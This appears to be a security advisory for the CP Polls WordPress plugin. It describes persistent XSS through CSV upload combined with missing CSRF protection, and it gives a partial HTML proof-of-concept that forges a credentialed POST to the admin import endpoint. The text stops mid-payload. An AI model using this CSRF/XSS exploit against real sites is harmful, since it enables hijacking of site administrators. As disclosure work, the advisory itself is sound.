=============
Description
=============

With **CP Polls** you can publish a poll into a page/post and optionally display statistics of the results.
You can receive email notifications every time a vote is added or opt to receive Excel reports periodically.

The Polls can have dependant questions, this means that some questions are displayed depending of the
selection made on other questions.

===================
Technical details
===================

CP Polls plugin for wordpress is prone to persistent XSS via cross-site file upload.
When we register an cp_poll, it is sanitized correctly but when we upload a CSV file, we can
bypass the protection and inject malicious HTML/Javascript.

There are not CSRF protection in that action so it can be exploited with a CSRF attack by sending a
malicious link to a victim (administrator) a wait for execution of the malicious request.

Proof of Concept (html)

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://<wp.host>/wp-admin/admin.php?page=CP_Polls&cal=1&list=1&import=1", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------17460754011784");
xhr.setRequestHeader("Accept-Language", "es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1");
xhr.withCredentials = true;
var body = "-----------------------------17460754011784\r\n" +
"Content-Disposition: form-data; name=\"importfile\"; filename=\"csv.csv\"\r\n" +
